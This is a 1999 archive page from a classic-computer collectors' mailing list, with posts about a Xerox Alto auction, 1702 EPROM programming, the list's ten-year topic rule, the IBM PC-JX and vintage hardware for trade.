http://www.classiccmp.org/pipermail/cctalk/attachments/19990125/c01e05f0/attachment.ksh From ard at p850ug1.demon.co.uk Mon Jan 25 13:09:04 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:30 2005 Subject: Alto II (was Re: PDP-8 prices In-Reply-To: <199901250542.VAA25251@saul9.u.washington.edu> from "Derek Peschel" at Jan 24, 99 09:42:31 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 3050 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990125/aeb201c0/attachment.ksh From ard at p850ug1.demon.co.uk Mon Jan 25 14:03:33 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:30 2005 Subject: Bugbooks - Mark 80 In-Reply-To: from "cswiger" at Jan 25, 99 10:50:29 am Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 970 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990125/7d4f505c/attachment.ksh From elvey at hal.com Mon Jan 25 16:09:52 1999 From: elvey at hal.com (Dwight Elvey) Date: Sun Feb 27 18:40:30 2005 Subject: Bugbooks - Mark 80 In-Reply-To: Message-ID: <199901252209.OAA18750@civic.hal.com> ard@p850ug1.demon.co.uk (Tony Duell) wrote: > > > Alas the ROM is missing. Some kind person here sent me the source/hex > dump of it, so one day I'll get round to burning a 1702... > > -tony Hi I'm looking fro 1702's, not 1702A's which are quite common but 1702's. You wouldn't happen to have any of these would you. I'll trade you 1702A's for any you might have. Dwight From rhblake at bigfoot.com Mon Jan 25 16:34:18 1999 From: rhblake at bigfoot.com (Russ Blakeman) Date: Sun Feb 27 18:40:30 2005 Subject: PC/XT 512K RAM card Message-ID: <36ACF169.4F287F31@bigfoot.com> Anyone have need for a fully populated 512k 8 bit RAM card, pulled from a fully working XT that had a 256k motherboard in it? Make a fair offer and remember that there will be a $3.25 or so shipping fee by USPS on it, should be able to go priority as cheaply as regular parcel post. USA and APO/FPO only please. First come first serve, I only have the one. From doug at blinkenlights.com Mon Jan 25 17:09:27 1999 From: doug at blinkenlights.com (Doug) Date: Sun Feb 27 18:40:30 2005 Subject: Alto II In-Reply-To: <199901251728.JAA06842@saul1.u.washington.edu> Message-ID: On Mon, 25 Jan 1999, Derek Peschel wrote: > I should point out (in case anybody doesn't know) that "Altos" and "Alto" > are totally different kinds of machines. And we all know that PARC was in Palo *Alto*. Where was the Altos HQ? Lemme guess: Los *Altos*. -- Doug From kaikal at MICROSOFT.com Mon Jan 25 17:12:55 1999 From: kaikal at MICROSOFT.com (Kai Kaltenbach) Date: Sun Feb 27 18:40:31 2005 Subject: FW: S-100 Boards Message-ID: Anybody help this guy out? -----Original Message----- From: Lee P. Adams [mailto:adamsl@letu.edu] Sent: Monday, January 25, 1999 3:08 PM Subject: S-100 Boards Hi, I am a Senior Computer Science & Engineering student at LeTourneau Univ, in Longview, TX and for my Senior Design we have to design a SBC (single board computer), not a big deal. Now here is the trick the school has an old system that uses the S-100 type interface boards and they don't have anymore. Do you have any that you would part with/ Thakns in advance. Lee P. Adams From cisin at xenosoft.com Mon Jan 25 17:34:05 1999 From: cisin at xenosoft.com (Fred Cisin (XenoSoft)) Date: Sun Feb 27 18:40:31 2005 Subject: IBM PC-JX (was: Reiability of wrong media) In-Reply-To: <004601be48b4$9a43cb80$a09f25d8@amirault> Message-ID: On Mon, 25 Jan 1999, John Amirault wrote: > Hi, > I may be interested in one of the CPU's with a keyboard. If you have any > manuals I would appreciate a copy. I think that this is the same as an IBM > PCJR. If I am incorrect please let me know. The PC-JX is NOT PC-Jr. Although there are a few superficial similarities, and many of the same letters in the name, it is a different machine. Among other things, the JX uses a 720K 5.25" drive. -- Fred Cisin cisin@xenosoft.com XenoSoft http://www.xenosoft.com 2210 Sixth St. (510) 644-9366 Berkeley, CA 94710-2219 From ard at p850ug1.demon.co.uk Mon Jan 25 17:10:38 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:31 2005 Subject: Bugbooks - Mark 80 In-Reply-To: <199901252209.OAA18750@civic.hal.com> from "Dwight Elvey" at Jan 25, 99 02:09:52 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 719 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990125/6e94b23b/attachment.ksh From allisonp at world.std.com Mon Jan 25 17:55:00 1999 From: allisonp at world.std.com (Allison J Parent) Date: Sun Feb 27 18:40:31 2005 Subject: Legitimacy of the Ten Year Rule. Message-ID: <199901252355.AA02123@world.std.com> <>Humm. This one is tough. We talk about VAXen and the MicroVAX is only <>about 14-15 years old and some models do persist but they are uniquly <>new compared to others. Example, we wouldn't be talking about 6xxx series <>as the oldest ones are early 90s. < from "Tony Duell" at Jan 25, 99 07:09:04 pm Message-ID: <199901252357.PAA01307@saul4.u.washington.edu> > > I had the same feeling when I looked at the bid. (The Alto is also near the > > top of my list of Super-Cool Machines. It's much higher in Cool Use terms > > than an Apple I, or an Altair, or even a straight -8. It may not be higher > > in Cool Prestige terms than those machines, but that's OK.) > > Being something of an old workstation collector, I agree with you... Who > cares if a machine isn't wanted by the masses. It can still be interesting... Well, generally I'm an idealist but on some topics I'm quite pragmatic. Since I have limited space and time, there's no point in collecting a machine unless I can/will do something with it. And the Alto is definitely interesting! It has some famous programs (the Smalltalk and Mesa languages, the Bravo editor/word processor, a nice little core OS, even a few games although I think they tax the machine's resources unfortunately). The hardware design is interesting but generally comprehensible. And you're allowed to write your own microcode. :) And, of course, in a parallel universe it might have started the GUI move- ment five years early if Xerox had actually sold it, instead of using it (the Alto, and PARC in general) to damage itself (Xerox) so severly. I was going to mention this before but couldn't find a place to fit it. It's important not to confuse the Super-Cool Machines on my list with super- cooled machines! :) I don't think I can reasonably support my own Cray. > I am _always_ suspicious when a known collector offers a machine for sale > in unknown/untested condition. Is the seller a known collector, or an unknown collector from a known domain (spies.com)? > > Yeah, this thing would probably require some work to get and keep it > > Be warned that Xerox machines are nasty to work on. A lot of the chips > might be standard, but they have house codes on them. And unlike HP 1820- > numbers, no list of Xerox numbers seems to have got out. I've still got to > figure out what the chips in the Daybreak are at some point... Aargh, I didn't realize that. My visions of singlehandedly maintaining an Altair are fading away. I thought it was also a problem to keep the CRTs on any Xerox machine in good shape. > > runnfing. For starters, you'd have to find disk packs, put software on > > Aren't the _blank_ disks the same as RK05 packs? Maybe. They're 2.5 MB when formatted. There are some Alto manuals on the Web (I don't seem to have the URL) which would give you a better idea. > > The other reason the Altair is so high on my list is that I don't know of an > > emulator. Anyone? > > Altair, or Alto? I'm not into emulators at all, but as the Alto has a few > similarities with the PERQ (which I do know pretty well), I would have > thought emulation one would have been non-trivial. Emulating a PERQ > properly, even with all the docs, is non-trivial - there are all sorts of > traps that you'd not expect. Alto, of course. That was a silly mistake! Well, the machine is obviously very rare. It's a pain to keep running. The same may be true of the Star (probably to a lesser degree). I'm not going to get one any time soon. I'd love to sit down and USE one for a few hours (to see Smalltalk, generally get the feel of the physical hardware, play with the 5-key keyset, and see how fast the machine runs -- including the games!) but even THAT's not likely to happen. So that leaves an emulator. But you're right. The emulator wouldn't just have to emulate a specific CPU, it would have to emulate the microcode. At the least, you would have to have 2-3 special-case emulators for 2-3 different instruction sets. (Perhaps they would magically recognize the current microcode image and use the appropriate instruction set.) And there's the disk hardware and the video hardware to deal with as well. From ard at p850ug1.demon.co.uk Mon Jan 25 17:55:45 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:31 2005 Subject: IBM PC-JX (was: Reiability of wrong media) In-Reply-To: from "Fred Cisin" at Jan 25, 99 03:34:05 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 333 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990125/052ef6ee/attachment.ksh From ard at p850ug1.demon.co.uk Mon Jan 25 17:56:32 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:31 2005 Subject: Alto II In-Reply-To: from "Doug" at Jan 25, 99 06:09:27 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 210 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990125/f76a63c4/attachment.ksh From elvey at hal.com Mon Jan 25 18:06:37 1999 From: elvey at hal.com (Dwight Elvey) Date: Sun Feb 27 18:40:31 2005 Subject: Bugbooks - Mark 80 In-Reply-To: Message-ID: <199901260006.QAA18805@civic.hal.com> ard@p850ug1.demon.co.uk (Tony Duell) wrote: > > > What's the real difference between a 1702 and a 1702A? I must admit that > I am not a great one for historical correctness, so I tend to use > 'updated' parts if I happen to have them to hand > > > Dwight > > > > > > -tony Hi Tony 1702's use a different programming algorithm than the 1702A's. Otherwise they work the same. Only a few 1702 were made, making them quite rare. Most have been melted down for the gold that Intel used in early packaging. I'm looking for the non-A types because I have an old 4004 development system that has a programming board on it. Of course, the board was designed to do 1702's and not 1702A's. It had a selector to select another PROM type that looked like it would work but the signal levels still were not correct. I suspect that they intend it to work but didn't understand the changes the chip designers were up to. It does part of the needed changes but not all. Thanks Dwight From dpeschel at u.washington.edu Mon Jan 25 18:13:31 1999 From: dpeschel at u.washington.edu (Derek Peschel) Date: Sun Feb 27 18:40:31 2005 Subject: Legitimacy of the Ten Year Rule. In-Reply-To: from "Sam Ismail" at Jan 25, 99 11:01:04 am Message-ID: <199901260013.QAA02618@saul4.u.washington.edu> > The original intent of the 10 year rule has been lost upon the more recent > members of the list. Bill Whitson created the Ten Year Rule to prevent > this forum from becoming just another PC discussion group. He wanted the > discussion to stay generally on the topic of discussing old computers. So > by making the charter preclude discussion of computers under 10 years old, > he hoped to avoid people fielding boring questions that are better asked > elsewhere, in forums that are specifically catered to those particular > needs. I've been saving all the messages about the ten-year rule, and I was going to make an official pronouncement when I had enough time (after reading all the messages first). But since Sam has spoken, now's my only chance to up- stage him in my role as moderator! :) Besides, Sam's viewpoint seems to be pretty close to my own. The list has a welcome file which should get sent to all new members. I edited it recently, mostly to add a few tips about list commands and to take out the dire warnings ("This list is going away!"). I think I mentioned that I had changed it but I don't know how many people saw the new version. The welcome file mentions the ten-year rule. It mentions allowable and un- allowable violations. It even implies that the rule is a bit of a double standard, in the sense that it's OK for the topic being discussed to drift away from the ten-year rule. (It doesn't actually out-and-out say that that's OK. This is one of the connotations of my term "double standard".) To be honest, the off-topic messages I've seen are blatantly off-topic. I can remember only a handful of messages (if that) dealing with modern PCs. > So, I know it would be futile to hope this permanently recurring thread > would stop recurring, but if everyone would just keep this in mind, and we > would finally have a FAQ that would be required reading to all new-comers > that explains this before they are allowed to post, then I think we could > finally put this issue to rest...permanently. Well, the welcome file is such a FAQ. It should be sent to newcomers by the list-processing software. Unfortunately, there's no way to make sure anyone has read it as a requirement to posting. Unlike policing topic drift (a power which I've assumed only to a low degree, far below the full possible amount) I do see list maintenance as an important duty. I want to set up the old WWW site and FTP archives. (I'm working with Bill on that -- I just need to actually get in touch with him.) I want to add new material. In the past, Bill posted announcements on USE- NET, and having those announcements is on my list of things to do. That would probably help eliminate this debate. Of course since we're a very vocal bunch of people (as well as smart), it's probably not possible to completely eliminate the debate. -- Derek From jrkeys at concentric.net Mon Jan 25 18:12:40 1999 From: jrkeys at concentric.net (John R. Keys Jr.) Date: Sun Feb 27 18:40:31 2005 Subject: The Computer Journal In-Reply-To: Message-ID: <000701be48c0$96117600$54b0adce@5x86jk> Historically Brewed was to have started back up late last year but I have yet receive one issue from them and no response to e-mails for a refund. > -----Original Message----- > From: CLASSICCMP-owner@u.washington.edu > [mailto:CLASSICCMP-owner@u.washington.edu]On Behalf Of Sam Ismail > Sent: Monday, January 25, 1999 11:38 AM > To: Discussion re-collecting of classic computers > Subject: Re:The Computer Journal > > > On Mon, 25 Jan 1999, Dave Dameron wrote: > > > Is The Computer Journal still in business? Their web site is > still up, but I > > cannot tell when it was last updated. I subscribed last July and haven't > > yet received any issues. (In October they were working on the next one, > > #82...) That is about my threshold for non delivery, I > > wrote and sent email asking for a refund and have gotten no response. > > They've been busy. I subscribed over a year ago and have gotten only a > few issues of my subscription. Since I know they're good guys and would > never intentionally screw anyone I am not bitching about it, but I > certainly do understand your plight. Keep trying, they are definitely > still around, just not responding. > > > Speaking of classic computer magazines, does anyone get > Historically Brewed? > > As far as I know this wasn't being published anymore(?) > > Sellam Alternate e-mail: > dastar@siconic.com > ------------------------------------------------------------------ > ------------ > Always being hassled by the man. > > Coming in 1999: Vintage Computer Festival 3.0 > See http://www.vintage.org/vcf for details! > [Last web site update: 01/15/99] > > From elvey at hal.com Mon Jan 25 18:17:48 1999 From: elvey at hal.com (Dwight Elvey) Date: Sun Feb 27 18:40:31 2005 Subject: Olivetti M20 information In-Reply-To: <199901260013.QAA02618@saul4.u.washington.edu> Message-ID: <199901260017.QAA18815@civic.hal.com> Hi Making a call for anyone with info on the Olivetti M20. It was a Z8000 machine. Dwight From ard at p850ug1.demon.co.uk Mon Jan 25 18:15:19 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:31 2005 Subject: Alto II (was Re: PDP-8 prices In-Reply-To: <199901252357.PAA01307@saul4.u.washington.edu> from "Derek Peschel" at Jan 25, 99 03:57:27 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 6120 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990126/7782390c/attachment.ksh From ard at p850ug1.demon.co.uk Mon Jan 25 18:19:51 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:31 2005 Subject: Bugbooks - Mark 80 In-Reply-To: <199901260006.QAA18805@civic.hal.com> from "Dwight Elvey" at Jan 25, 99 04:06:37 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 349 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990126/74bfecea/attachment.ksh From todd.osborne at barnstormer-software.com Mon Jan 25 18:31:37 1999 From: todd.osborne at barnstormer-software.com (Todd Osborne) Date: Sun Feb 27 18:40:31 2005 Subject: PDP-8 prices In-Reply-To: <01be4860$ffb40240$e5c962cf@devlaptop> Message-ID: <000501be48c3$3c223550$01646464@codewarrior.fmstrategies.com> True the prices may be getting out of hand, but that also means the value of those bit piles we all own are actually worth something should we need it. That doesn't matter to me, I don't really care what all these old dino's are worth, but it does help me justify it my wife when I tell her they are actually worth something more than sentimental value to me :) Todd -------------------------------------------------------- Todd Osborne Senior Software Engineer FMStrategies, Inc. http://www.fmstrategies.com/ -------------------------------------------------------- FMStrategies, Inc: tosborne@fmstrategies.com Internet E-Mail: todd.osborne@barnstormer-software.com -------------------------------------------------------- Founder of the Virtual Windows Class Library (C++) http://www.barnstormer-software.com/vwcl/ -------------------------------------------------------- Anagrams? (http://www.wordsmith.org/anagram/) Can you figure out this one? Want the answer? E-Mail me. COCO VERDI MOM (Hint: Think Late 1970's Computer) -------------------------------------------------------- Quote: "The timid die just like the daring, and if you don't take the plunge then you'll just take the fall" - Michael Longcor > -----Original Message----- > From: CLASSICCMP-owner@u.washington.edu > [mailto:CLASSICCMP-owner@u.washington.edu]On Behalf Of Mike > Sent: Monday, January 25, 1999 7:48 AM > To: Discussion re-collecting of classic computers > Subject: Re: PDP-8 prices > > > -----Original Message----- > From: Tony Duell > >Computer collecting was a lot more fun when you could grab a random > >machine for a few pounds/dollars, take it home and enjoy it. > > I agree. That's why I hate the commercialization now occuring in this > hobby. I't just about gaurantees that there will be few > newcomers into the > hobby that can amass the bit piles many of us own and love to explore. > > Mike: dogas@leading.net > > > From dpeschel at u.washington.edu Mon Jan 25 18:40:22 1999 From: dpeschel at u.washington.edu (Derek Peschel) Date: Sun Feb 27 18:40:31 2005 Subject: Alto II (was Re: PDP-8 prices In-Reply-To: from "Tony Duell" at Jan 26, 99 00:15:19 am Message-ID: <199901260040.QAA05051@saul4.u.washington.edu> > Apart from that, there's a serious band of PERQ-fanatics who can solve > just about anything you're likely to come up against and then some :-). I like good documentation. Clearly, even if the original documentation was abysmal, information is now pretty readily available. (I think you made that point in one of your other posts.) > Sounds like an RK05 pack. I seem to remember the drive looks like a Diablo > model 30 (for which repair manuals do exist). That would use the same > sort of pack as an RK05, but these packs are hard-sectored, and I have no > idea how many sectors an Alto is expecting... I know the Alto drive is a Diablo drive. Some Altos came with an option of one removable and one fixed pack. Both packs have the same capacity. The access time is much lower than the removable-only machines. (That could be average access time -- meaning that the removable packs are the same on both kinds of machines. I'm just quoting from a little table in the manual.) Some also came with an external removable-pack drive. (The scale is some- thing I'm not used to. I think of a device I can hold in my hand being added to a machine that fits on my desk. Here we have a device bigger than many modern computers being added to a machine that could BE my desk, if the monitor were taken off the top.) If you look at the Alto manual, you can see Diablo's model numbers. > Did all Alto machines have a chording keyboard? Or was it an option? Possibly an option. The I/O was very flexible but I suspect (drumroll) you had to write your own microcode for it. :) And create a custom cable and header. But it could actually have been standard. The keyset is exactly as Doug Engelbart designed it: 5 bars next to each other, a bit like piano keys. It doesn't replace the regular keyboard; it's just an alternate way of entering small bits of data while you use the mouse with your other hand. -- Derek From geoffrob at stmarks.pp.catholic.edu.au Mon Jan 25 19:43:09 1999 From: geoffrob at stmarks.pp.catholic.edu.au (Geoff Roberts) Date: Sun Feb 27 18:40:31 2005 Subject: Legitimacy of the Ten Year Rule. In-Reply-To: <199901252355.AA02123@world.std.com> Message-ID: <199901260043.QAA10906@mxu4.u.washington.edu> > Date: Mon, 25 Jan 1999 18:55:00 -0500 > Reply-to: classiccmp@u.washington.edu > From: allisonp@world.std.com (Allison J Parent) > To: "Discussion re-collecting of classic computers" > > Subject: Re: Legitimacy of the Ten Year Rule. > <>Humm. This one is tough. We talk about VAXen and the MicroVAX is only > <>about 14-15 years old and some models do persist but they are uniquly > <>new compared to others. Example, we wouldn't be talking about 6xxx series > <>as the oldest ones are early 90s. > < > > We talking about MicroVAX, MicroVAX-6000 or MV3100 series? These are 6000-310's specifically, (well, one is now a 220 and the other is now a 320, as I managed to acquire a couple of 200 series cpu boards.). My Microvax II is dated 87 (I think). Cheers Geoff Roberts Computer Room Internet Cafe Geoff Roberts Computer Systems Manager Saint Marks College Port Pirie South Australia geoffrob@stmarks.pp.catholic.edu.au (0411)623-978 Mobile (08)8633-0619 Home (08)8633-0104 Fax From dogas at leading.net Mon Jan 25 18:43:15 1999 From: dogas at leading.net (Mike) Date: Sun Feb 27 18:40:31 2005 Subject: The Computer Journal Message-ID: <01be48c4$dc08b2a0$c9c962cf@devlaptop> David Greelish, the publisher of Historically Brewed has just recently relocated for a new job to North Carolina (I think) and is probably taking some time to get his feet planted again.... I'll give him a buzz and see what the status of HB is. Mike:dogas@leading.net -----Original Message----- From: John R. Keys Jr. To: Discussion re-collecting of classic computers Date: Monday, January 25, 1999 7:48 PM Subject: RE: The Computer Journal >Historically Brewed was to have started back up late last year but I have >yet receive one issue from them and no response to e-mails for a refund. > >> -----Original Message----- >> From: CLASSICCMP-owner@u.washington.edu >> [mailto:CLASSICCMP-owner@u.washington.edu]On Behalf Of Sam Ismail >> Sent: Monday, January 25, 1999 11:38 AM >> To: Discussion re-collecting of classic computers >> Subject: Re:The Computer Journal >> >> >> On Mon, 25 Jan 1999, Dave Dameron wrote: >> >> > Is The Computer Journal still in business? Their web site is >> still up, but I >> > cannot tell when it was last updated. I subscribed last July and haven't >> > yet received any issues. (In October they were working on the next one, >> > #82...) That is about my threshold for non delivery, I >> > wrote and sent email asking for a refund and have gotten no response. >> >> They've been busy. I subscribed over a year ago and have gotten only a >> few issues of my subscription. Since I know they're good guys and would >> never intentionally screw anyone I am not bitching about it, but I >> certainly do understand your plight. Keep trying, they are definitely >> still around, just not responding. >> >> > Speaking of classic computer magazines, does anyone get >> Historically Brewed? >> >> As far as I know this wasn't being published anymore(?) >> >> Sellam Alternate e-mail: >> dastar@siconic.com >> ------------------------------------------------------------------ >> ------------ >> Always being hassled by the man. >> >> Coming in 1999: Vintage Computer Festival 3.0 >> See http://www.vintage.org/vcf for details! >> [Last web site update: 01/15/99] >> >> > > From doug at blinkenlights.com Mon Jan 25 18:59:21 1999 From: doug at blinkenlights.com (Doug) Date: Sun Feb 27 18:40:31 2005 Subject: Olivetti M20 information In-Reply-To: <199901260017.QAA18815@civic.hal.com> Message-ID: On Mon, 25 Jan 1999, Dwight Elvey wrote: > Making a call for anyone with info on the > Olivetti M20. It was a Z8000 machine. It was designed in Italy. What else do you need to know? :-) (I know one of the designers, if you really need specific details.) -- Doug From amirault at epix.net Mon Jan 25 22:27:44 1999 From: amirault at epix.net (John Amirault) Date: Sun Feb 27 18:40:31 2005 Subject: IBM PC-JX (was: Reiability of wrong media) Message-ID: <002901be48e4$39971aa0$539f25d8@amirault> Fred, Thank you. John Amirault 107 2nd Ave. Susquehanna, Pa. 18847 -----Original Message----- From: Fred Cisin (XenoSoft) To: Discussion re-collecting of classic computers Date: Monday, January 25, 1999 3:38 PM Subject: Re: IBM PC-JX (was: Reiability of wrong media) >On Mon, 25 Jan 1999, John Amirault wrote: >> Hi, >> I may be interested in one of the CPU's with a keyboard. If you have any >> manuals I would appreciate a copy. I think that this is the same as an IBM >> PCJR. If I am incorrect please let me know. > >The PC-JX is NOT PC-Jr. >Although there are a few superficial similarities, and many of the same >letters in the name, it is a different machine. Among other things, the >JX uses a 720K 5.25" drive. > > >-- >Fred Cisin cisin@xenosoft.com >XenoSoft http://www.xenosoft.com >2210 Sixth St. (510) 644-9366 >Berkeley, CA 94710-2219 > > From ard at p850ug1.demon.co.uk Mon Jan 25 19:18:45 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:31 2005 Subject: Alto II (was Re: PDP-8 prices In-Reply-To: <199901260040.QAA05051@saul4.u.washington.edu> from "Derek Peschel" at Jan 25, 99 04:40:22 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 6076 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990126/42aac25e/attachment.ksh From eric at brouhaha.com Mon Jan 25 20:00:23 1999 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:40:31 2005 Subject: Alto II (was Re: PDP-8 prices In-Reply-To: <199901252357.PAA01307@saul4.u.washington.edu> (message from Derek Peschel on Mon, 25 Jan 1999 15:57:27 -0800 (PST)) References: <199901252357.PAA01307@saul4.u.washington.edu> Message-ID: <19990126020023.11746.qmail@brouhaha.com> > > I am _always_ suspicious when a known collector offers a machine for sale > > in unknown/untested condition. > > Is the seller a known collector, or an unknown collector from a known > domain (spies.com)? [...] > There are some Alto manuals on the > Web (I don't seem to have the URL) which would give you a better idea. The seller is the same person that put the Alto manuals on the web. See the Xerox Alto Archive; there's a link on Al's Xerox Workstation Collection page: http://www.spies.com/aek/xerox.html People seem to be quick to complain about Al's auction, but where else do you see an Alto available in any condition at any price? From jolminkh at nsw.bigpond.net.au Mon Jan 25 20:00:31 1999 From: jolminkh at nsw.bigpond.net.au (Olminkhof) Date: Sun Feb 27 18:40:31 2005 Subject: Olivetti M20 information Message-ID: <001201be48cf$a7ae4a00$2a3dc018@tp.c2.telstra-mm.net.au> I have one with no operating system. Don't know anything about it though. -----Original Message----- From: Dwight Elvey To: Discussion re-collecting of classic computers Date: Tuesday, 26 January 1999 11:21 Subject: Olivetti M20 information >Hi > Making a call for anyone with info on the >Olivetti M20. It was a Z8000 machine. >Dwight > From doug at blinkenlights.com Mon Jan 25 20:28:46 1999 From: doug at blinkenlights.com (Doug) Date: Sun Feb 27 18:40:31 2005 Subject: Alto II (was Re: PDP-8 prices In-Reply-To: <19990126020023.11746.qmail@brouhaha.com> Message-ID: On 26 Jan 1999, Eric Smith wrote: > People seem to be quick to complain about Al's auction, but where else do > you see an Alto available in any condition at any price? Or a Xerox Daybreak (sort of a small Alto) for that matter. Inquiries welcome! Available for a fraction of the price of a non-working Alto! (I love to use "fraction" in this way. Did I mention that the fraction is 3/2? :-) -- Doug From dpeschel at u.washington.edu Mon Jan 25 20:28:58 1999 From: dpeschel at u.washington.edu (Derek Peschel) Date: Sun Feb 27 18:40:31 2005 Subject: Alto II (was Re: PDP-8 prices In-Reply-To: <19990126020023.11746.qmail@brouhaha.com> from "Eric Smith" at Jan 26, 99 02:00:23 am Message-ID: <199901260229.SAA31835@saul10.u.washington.edu> > The seller is the same person that put the Alto manuals on the web. See > the Xerox Alto Archive; there's a link on Al's Xerox Workstation Collection > page: > > http://www.spies.com/aek/xerox.html > > People seem to be quick to complain about Al's auction, but where else do > you see an Alto available in any condition at any price? OK. I now feel more trustworthy about the seller. Just because the seller is making an Alto available does NOT mean that I can't comaplain about the auction. A transaction like this is just not the way I would like to do business. (Other people seem to agree with me -- are there still no bids?) Didn't a similar offer happen a year or two ago, with no takers? Yes, I want an Alto. (At least I think I do -- of course I could be wrong.) I even have fantasies about paying the $5000 (which I could do, if it came to that). Yes, the machine is rare. There never were that many chances to get them and there will be fewer and fewer and eventually none. But at a gut level, I still feel uneasy (yes, and stingy, and tempted to try to hunt for a bargin) about buying a machine in _unknown_ condition with possibly _no_ software/media/manuals for a _non-negotiable_ price! Well, the price is negotiable, but only upward. :) I'd be interested to hear what you think, Eric, since we've talked about Smalltalk before and you're evidently a fan of Xerox' workstations. I'd also be interested in any details you have on actually using the various Xerox machines (i.e., how fast are they? how easy is it to unerstand and expand them?) but that's probably better by private e-mail. -- Derek From gram at cnct.com Mon Jan 25 21:08:36 1999 From: gram at cnct.com (Ward D. Griffiths III) Date: Sun Feb 27 18:40:31 2005 Subject: Alto II In-Reply-To: Message-ID: On Mon, 25 Jan 1999, Tony Duell wrote: > > And we all know that PARC was in Palo *Alto*. Where was the Altos HQ? > > Indeed.... > > I've often wondered if it's a coincidence that PARC and PERQ can be > pronounced in approximately the same way :-) Yeah, you guys do have that funny way of pronouncing words like "clerk" and "Berkeley". :-)} -- Ward Griffiths "the timid die just like the daring; and if you don't take the plunge then you'll just take the fall" Michael Longcor From ddameron at earthlink.net Mon Jan 25 18:49:43 1999 From: ddameron at earthlink.net (Dave Dameron) Date: Sun Feb 27 18:40:31 2005 Subject: Bugbooks - Mark 80 In-Reply-To: References: <199901252209.OAA18750@civic.hal.com> Message-ID: <3.0.6.16.19990125184943.25ff126e@earthlink.net> At 11:10 PM 1/25/99 +0000, Tony wrote: >> > >> Hi I'm looking fro 1702's, not 1702A's which are quite common >> but 1702's. You wouldn't happen to have any of these would >> you. I'll trade you 1702A's for any you might have. > >What's the real difference between a 1702 and a 1702A? I must admit that >I am not a great one for historical correctness, so I tend to use >'updated' parts if I happen to have them to hand > The 1702's had 10% of the program duty cycle of the 1702A, so took 10x longer to program. The voltages were the same. I don't know what actually was revised on the chip, larger output/program transistors? -Dave From ddameron at earthlink.net Mon Jan 25 18:41:10 1999 From: ddameron at earthlink.net (Dave Dameron) Date: Sun Feb 27 18:40:31 2005 Subject: Bugbooks - Mark 80 In-Reply-To: References: Message-ID: <3.0.6.16.19990125184110.25ff2416@earthlink.net> At 08:03 PM 1/25/99 +0000, you wrote: >> modem, and most interesting "Bugbook III", 1975 which >> discusses a MARK 80 (8080) Microdesigner of E&L instruments. > >I think I found that book (or maybe another one in the same series) in a >second-hand bookshop a couple of years back. It's interesting >historically, but not that useful as (IMHO) it doesn't give enough >details of the MARK-80 cards. > >> This is somewhat interesting as it consists of a backplane >> with a breadboard area complete with bus connections for >> interfacing experiments. Bus is called SK-10 and cards plug >> into dual wide DEC edge connectors. > >I found a simpler E&L machine at a radio rally last year. This was a >single-board (which formed the top of a slope-top case containing the >PSU) with an 8080, RAM, ROM, keypad, some output ports/LEDs and a >breadboard on it. I grabbed it, of course. > >Alas the ROM is missing. Some kind person here sent me the source/hex >dump of it, so one day I'll get round to burning a 1702... > It is described very well in the April, May 1976 issues of "Radio Electronics", including circuit description at the IC/gate level, monitor source, etc. It doesn't use a 8228, but bus drivers, 1702A's (1 monitor, 1 spare), and 256x4 RAM's (2 expandable to 4). There was a later one with an expansion box (more RAM, modem/cassette interface), but I didn't buy one, the price was too high for me US $125. -Dave From dastar at ncal.verio.com Mon Jan 25 21:34:11 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:40:31 2005 Subject: Alto II (was Re: PDP-8 prices In-Reply-To: <199901252357.PAA01307@saul4.u.washington.edu> Message-ID: On Mon, 25 Jan 1999, Derek Peschel wrote: > But you're right. The emulator wouldn't just have to emulate a specific > CPU, it would have to emulate the microcode. At the least, you would have > to have 2-3 special-case emulators for 2-3 different instruction sets. > (Perhaps they would magically recognize the current microcode image and use > the appropriate instruction set.) And there's the disk hardware and the > video hardware to deal with as well. Why not just write a microcode emulator? Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 01/15/99] From dastar at ncal.verio.com Mon Jan 25 21:34:43 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:40:31 2005 Subject: Alto II In-Reply-To: Message-ID: On Mon, 25 Jan 1999, Tony Duell wrote: > > And we all know that PARC was in Palo *Alto*. Where was the Altos HQ? > > Indeed.... > > I've often wondered if it's a coincidence that PARC and PERQ can be > pronounced in approximately the same way :-) Maybe to you funny talking Englanders :) Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 01/15/99] From adavie at mad.scientist.com Mon Jan 25 21:42:11 1999 From: adavie at mad.scientist.com (Andrew Davie) Date: Sun Feb 27 18:40:31 2005 Subject: 